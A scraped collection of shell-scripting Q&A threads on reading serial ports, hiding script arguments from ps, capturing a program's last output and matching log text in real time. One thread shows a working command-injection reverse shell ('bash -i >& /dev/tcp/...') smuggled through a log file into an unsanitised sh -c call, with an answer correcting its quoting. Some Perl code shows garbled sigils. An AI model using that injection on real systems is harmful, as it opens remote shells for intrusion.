reading from serial using shellscript - shell

I have a serial port device that I would like to test using Linux command line.
And if I run the following command from terminal, it gives output
cat < /dev/ttyS0 &
This command opens the serial port and relays what it reads from it to its stdout.So, I tried it from shell script file but it is not working
fName="test.txt";
awk '
BEGIN { RS = "" ; FS = "\n" }
{
address = '/dev/ttyS0';
system("cat < " address );
}
END {
}' "$fName";
But it is not working and giving output.How can I listen to communication between a process and a serial port? Thanks

Using awk timeouts
I've successfully read something under dash, be using GAWK_READ_TIMEOUT environment variable:
out=`GAWK_READ_TIMEOUT=3000 awk '{print}' </dev/ttyS0 & sleep 1 ; echo foo >/dev/ttyS0`
On my terminal, this output:
echo "$out"
foo
Password:
or
echo "$out"
Login incorrect
testhost login:
Using bash timeouts
You could use FD under bash as:
exec 5>/dev/ttyS0
exec 6</dev/ttyS0
while read -t .1 -u 6 line;do
echo $line
done
or, to read unfinished lines:
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
echo
So you could:
echo 'root' >&5
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
echo 'password is 1234' >&5
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
... Once done, you could close FD by running:
exec 6<&-
exec 5>&-
Sample bash poor terminal script
I've logged and test some commands with:
#!/bin/bash
exec 5>/dev/ttyS0
exec 6</dev/ttyS0
readbuf() {
while IFS= read -d '' -t .1 -u 6 -rn 1 char;do
echo -n "$char"
done
};
while [ "$cmd" != "tquit" ] ;do
readbuf
read cmd
echo >&5 "$cmd"
done

Related

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

Hide or suppress arguments value passed to a shell script

From a local machine I am running a shell script on a remote server and passing some arguments to the scripts. Like test.sh "name" "age"
This is my script:
#!/bin/bash
echo $1
echo $2
On the remote server while the script is executing and if I run ps aux | grep .sh i could see the value of the two parameters. Like bash -s name age
Is there a way to suppress or hide the values in the running shell process so that one can see the parameters ?
I have an idea. You could create a global environment variable with unique name and save there the positional arguments, then re-exec your process and get the arguments:
#!/bin/bash
if [[ -z "$MYARGS" ]]; then
export MYARGS="$(printf "%q " "$#")"
exec "$0"
fi
eval set -- "$MYARGS"
printf -- "My arguments:\n"
printf -- "-- %s\n" "$#"
sleep infinity
It will hide it from ps aux:
$ ps aux | grep 1.sh
kamil 196704 0.4 0.0 9768 2084 pts/1 S+ 16:49 0:00 /bin/bash /tmp/1.sh
kamil 196777 0.0 0.0 8924 1640 pts/2 S+ 16:49 0:00 grep 1.sh
The environment variable could be still extracted from /proc:
$ cat /proc/196704/environ | sed -z '/MYARGS/!d'; echo
MYARGS=1 2 3 54 5
Another way might be writing the positional arguments as a string on stdin and pass it to outselves with original input:
#!/bin/bash
if [[ -z "$MYARGS" ]]; then
export MYARGS=1 # just so it's set
# restart outselves with no arguments
exec "$0" < <(
# Stream arguments on stdin on one line
printf "%q " "$#" | xxd -p | tr -d '\n'
echo
exec cat
)
fi
IFS= read -r args # read _one line_ of input - it's our arguments
args=$(xxd -r -p <<<"$args") # encoded with xxd
eval set -- "$args"
printf -- "My arguments:\n"
printf -- "-- %s\n" "$#"
sleep infinity
Here's a way to take the cmd line args and read args from stdin:
#!/usr/bin/env bash
args=()
for arg; do
printf "%d\t%s\n" $((++c)) "$arg"
args+=("$arg")
done
if ! [[ -t 0 ]]; then
while IFS= read -r arg; do
args+=("$arg")
done
fi
declare -p args
Do you can do:
script.sh hello world
printf "%s\n" hello world | script.sh
echo world | script.sh hello

Ignoring all but the (multi-line) results of the last query sent to a program

I have an executable that accepts queries from stdin and responds to them, reading until EOF. Additionally I have an input file and a special command, let's call those EXEC, FILE and CMD respectively.
What I need to do is:
Pass FILE to EXEC as input.
Disregard all the output corresponding to commands read from FILE (/dev/null/).
Pass CMD as the last command.
Fetch output for the last command and save it in a variable.
EXEC's output can be multiline for each query.
I know how to pass FILE + CMD into the EXEC:
echo ${CMD} | cat ${FILE} - | ${EXEC}
but I have no idea how to fetch only output resulting from CMD.
Is there a magical one-liner that does this?
After looking around I've found the following partial solution:
mkfifo mypipe
(tail -f mypipe) | ${EXEC} &
cat ${FILE} | while read line; do
echo ${line} > mypipe
done
echo ${CMD} > mypipe
This allows me to redirect my input, but now the output gets printed to screen. I want to ignore all the output produced by EXEC in the while loop and get only what it prints for the last line.
I tried what first came into my mind, which is:
(tail -f mypipe) | ${EXEC} > somefile &
But it didn't work, the file was empty.
This is race-prone -- I'd suggest putting in a delay after the kill, or using an explicit sigil to determine when it's been received. That said:
#!/usr/bin/env bash
# route FD 4 to your output routine
exec 4> >(
output=; trap 'output=1' USR1
while IFS= read -r line; do
[[ $output ]] && printf '%s\n' "$line"
done
); out_pid=$!
# Capture the PID for the process substitution above; note that this requires a very
# new version of bash (4.4?)
[[ $out_pid ]] || { echo "ERROR: Your bash version is too old" >&2; exit 1; }
# Run your program in another process substitution, and close the parent's handle on FD 4
exec 3> >("$EXEC" >&4) 4>&-
# cat your file to FD 3...
cat "$file" >&3
# UGLY HACK: Wait to let your program finish flushing output from those commands
sleep 0.1
# notify the subshell writing output to disk that the ignored input is done...
kill -USR1 "$out_pid"
# UGLY HACK: Wait to let the subprocess actually receive the signal and set output=1
sleep 0.1
# ...and then write the command for which you actually want content logged.
echo "command" >&3
In validating this answer, I'm doing the following:
EXEC=stub_function
stub_function() {
local count line
count=0
while IFS= read -r line; do
(( ++count ))
printf '%s: %s\n' "$count" "$line"
done
}
cat >file <<EOF
do-not-log-my-output-1
do-not-log-my-output-2
do-not-log-my-output-3
EOF
file=file
export -f stub_function
export file EXEC
Output is only:
4: command
You could pipe it into a sed:
var=$(YOUR COMMAND | sed '$!d')
This will put only the last line into the variable
I think, that your proram EXEC does something special (open connection or remember state). When that is not the case, you can use
${EXEC} < ${FILE} > /dev/null
myvar=$(echo ${CMD} | ${EXEC})
Or with normal commands:
# Do not use (printf "==%s==\n" 1 2 3 ; printf "oo%soo\n" 4 5 6) | cat
printf "==%s==\n" 1 2 3 | cat > /dev/null
myvar=$(printf "oo%soo\n" 4 5 6 | cat)
When you need to give all input to one process, perhaps you can think of a marker that you can filter on:
(printf "==%s==\n" 1 2 3 ; printf "%s\n" "marker"; printf "oo%soo\n" 4 5 6) | cat | sed '1,/marker/ d'
You should examine your EXEC what could be used. When it is running SQL, you might use something like
(cat ${FILE}; echo 'select "DamonMarker" from dual;' ; echo ${CMD} ) |
${EXEC} | sed '1,/DamonMarker/ d'
and write this in a var with
myvar=$( (cat ${FILE}; echo 'select "DamonMarker" from dual;' ; echo ${CMD} ) |
${EXEC} | sed '1,/DamonMarker/ d' )

using tail to follow a log and execute a command instantly? Only seems to work by starting a new line

I am trying to figure out a command which will enable me to read a log file in real time and execute a command when the string matches? I am using logkeys and trying to make it when I type a word it immediately triggers a command. This script works, but only when I press enter (start a newline) does it execute, and it seems anything I have found online also requires the press of the enter key to work. Is there a way to get around this somehow?
#/bin/bash
echo Waiting...
string='test'
tail /path/to/logfile -n0 -f | while read line; do
if [[ $line =~ $string ]]; then
echo "hello"
fi
done
I've played with buffering settings to no avail, so my conclusion is that read waits for a newline before it finishes. If you instead did read -n1, read would read exactly one character, which isn't quite what we want either, because then $line would always be just that one char.
Unfortunately, grep appears to have the same behavior (even with buffering options changed), even with grep -o:
$ tail logfile -f -n0 | grep -o test &
[1] 25524
$ echo -n test >> logfile
$ echo -n test >> logfile
$ echo test >> logfile
test
test
test
I think the general solution would be to roll our own "ring buffer grep" search tool that reads character per character into a ring buffer.
Here's my perl version of that, hope it helps. (Save as: ringgrep.pl)
#!/usr/bin/perl -w
use strict;
if (!$ARGV[0]) {
print "Usage: $0 needle\n";
exit 1;
}
my $needle = $ARGV[0];
my $buffer_len = length($needle);
my #buffer = (0) x $buffer_len;
my $i = 0;
my $input;
while(sysread(STDIN, $input, 1)) {
$buffer[$i] = $input;
my $string = join("", #buffer);
$string = (($i+1)%$buffer_len == 0 ? "" : substr($string, $i-$buffer_len+1)) . substr($string, 0, $i+1);
# print "string is: $string\n";
if ($string =~ /$needle/) {
print "got test!\n";
#buffer = (0) x $buffer_len;
$i = 0
} else {
$i = (++$i) % $buffer_len
}
}
Usage:
$ chmod +x ringgrep.pl
$ tail logfile -n0 -f | ./ringgrep.pl "this is a test" &
[1] 25756
$ echo -n "test" >> logfile
$ echo -n "test" >> logfile
$ echo -n "test" >> logfile
$ echo -n "test" >> logfile
$ echo -n "this is a test" >> logfile
got test!
$ echo -n "this is a test" >> logfile
got test!
$ echo -n "this is a test" >> logfile
got test!
$ (echo -n t; echo -n h; echo -n i; echo -n s; echo -n ' '; echo -n i; echo -n s; echo -n ' '; echo -n a; echo -n ' '; echo -n t; echo -n e; echo -n s; echo -n t) >> logfile
got test!

Grep is not showing results even i used fgrep and -f options

I have used the below content to fetch some values .
But the grep in the code is not showing any results.
#!/bin/bash
file=test.txt
while IFS= read -r cmd;
do
check_address=`grep -c $cmd music.cpp`
if [ $check_address -ge 1 ]; then
echo
else
grep -i -n "$cmd" music.cpp
echo $cmd found
fi
done < "$file"
Note : there are no carriage return in my text file or .sh file.
i checked using
bash -x check.sh
It is just showing
+grep -i -n "$cmd" music.cpp

Resources